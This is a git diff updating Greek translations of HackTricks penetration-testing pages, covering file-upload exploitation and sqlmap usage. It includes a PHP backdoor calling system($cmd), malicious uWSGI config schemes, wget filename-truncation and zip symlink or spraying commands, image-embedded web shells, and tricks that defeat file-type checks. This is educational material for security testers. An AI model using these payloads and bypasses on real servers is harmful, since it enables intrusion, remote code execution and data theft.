- Μια άλλη τεχνική για να δημιουργήσεις μια payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Other Tricks to check
|
### Other Tricks to check
|
||||||
|
|
||||||
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
- Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση).
|
||||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
- Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις το backdoor.
|
||||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||||
1. Ανεβάστε **αρκετές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
1. Ανέβασε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||||
3. Ανεβάζοντας ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
|
3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
|
||||||
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
|
4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
|
||||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
||||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί τυχαία από το θύμα.
|
- Δοκίμασε επίσης να **ανεβάσεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα.
|
||||||
|
|
||||||
### Special extension tricks
|
### Special extension tricks
|
||||||
|
|
||||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
||||||
|
|
||||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
|
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
|
||||||
|
|
||||||
Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
|
Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
@ -132,8 +132,8 @@ characters = @(call://uwsgi_func)
|
|||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
Σε ορισμένες περιπτώσεις, μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτήν την έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
Σημειώστε ότι **μία άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
||||||
|
|
||||||
## Εργαλεία
|
## Εργαλεία
|
||||||
|
|
||||||
@ -177,7 +177,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||||
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||||
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό πρόγραμμα**
|
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
|
||||||
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
|
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
|
||||||
|
|
||||||
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
@ -189,7 +189,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
5. **XML**: XXE
|
5. **XML**: XXE
|
||||||
6. **AVI**: LFI / SSRF
|
6. **AVI**: LFI / SSRF
|
||||||
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
|
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
|
||||||
8. **PNG / JPEG**: Επίθεση pixel flood (DoS)
|
8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
|
||||||
9. **ZIP**: RCE μέσω LFI / DoS
|
9. **ZIP**: RCE μέσω LFI / DoS
|
||||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||||
|
|
||||||
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
|
|||||||
|
|
||||||
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||||
|
|
||||||
### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
|
## Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
|
||||||
|
|
||||||
Αν μπορείτε να μεταφορτώσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
Αν μπορείτε να μεταφορτώσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||||
|
|
||||||
#### Symlink
|
### Symlink
|
||||||
|
|
||||||
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
|
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
|
||||||
```
|
```
|
||||||
@ -263,7 +263,7 @@ system($cmd);
|
|||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
|
|
||||||
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||||
@ -289,7 +289,7 @@ pop graphic-context
|
|||||||
```
|
```
|
||||||
## Ενσωμάτωση PHP Shell σε PNG
|
## Ενσωμάτωση PHP Shell σε PNG
|
||||||
|
|
||||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
|
Η ενσωμάτηση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
|
||||||
|
|
||||||
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||||
|
|
||||||
@ -305,6 +305,14 @@ pop graphic-context
|
|||||||
|
|
||||||
Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
|
### Ανέβασμα έγκυρων JSON όπως αν ήταν PDF
|
||||||
|
|
||||||
|
Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο αρχείο JSON ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι ένα αρχείο PDF (τεχνικές από **[αυτή την ανάρτηση στο blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||||
|
|
||||||
|
- **`mmmagic` βιβλιοθήκη**: Όσο οι μαγικές bytes `%PDF` είναι στα πρώτα 1024 bytes, είναι έγκυρο (πάρε παράδειγμα από την ανάρτηση)
|
||||||
|
- **`pdflib` βιβλιοθήκη**: Πρόσθεσε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (πάρε παράδειγμα από την ανάρτηση)
|
||||||
|
- **`file` δυαδικό**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίζει ότι είναι PDF
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||||
@ -313,5 +321,6 @@ pop graphic-context
|
|||||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -53,7 +53,7 @@
|
|||||||
```bash
|
```bash
|
||||||
sqlmap -r req.txt --current-user
|
sqlmap -r req.txt --current-user
|
||||||
```
|
```
|
||||||
### Εισαγωγή Αιτήματος GET
|
### GET Request Injection
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||||||
```bash
|
```bash
|
||||||
--string="string_showed_when_TRUE"
|
--string="string_showed_when_TRUE"
|
||||||
```
|
```
|
||||||
|
### Προσθήκη τεχνικής ανίχνευσης
|
||||||
|
|
||||||
|
Αν βρείτε ένα SQLi αλλά το sqlmap δεν το ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για time blind based.
|
||||||
|
|
||||||
### Eval
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για την επεξεργασία κάθε payload πριν την αποστολή του με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν την αποστολή του. Στο παρακάτω παράδειγμα, η **flask cookie session** **υπογράφεται από το flask με το γνωστό μυστικό πριν την αποστολή της**:
|
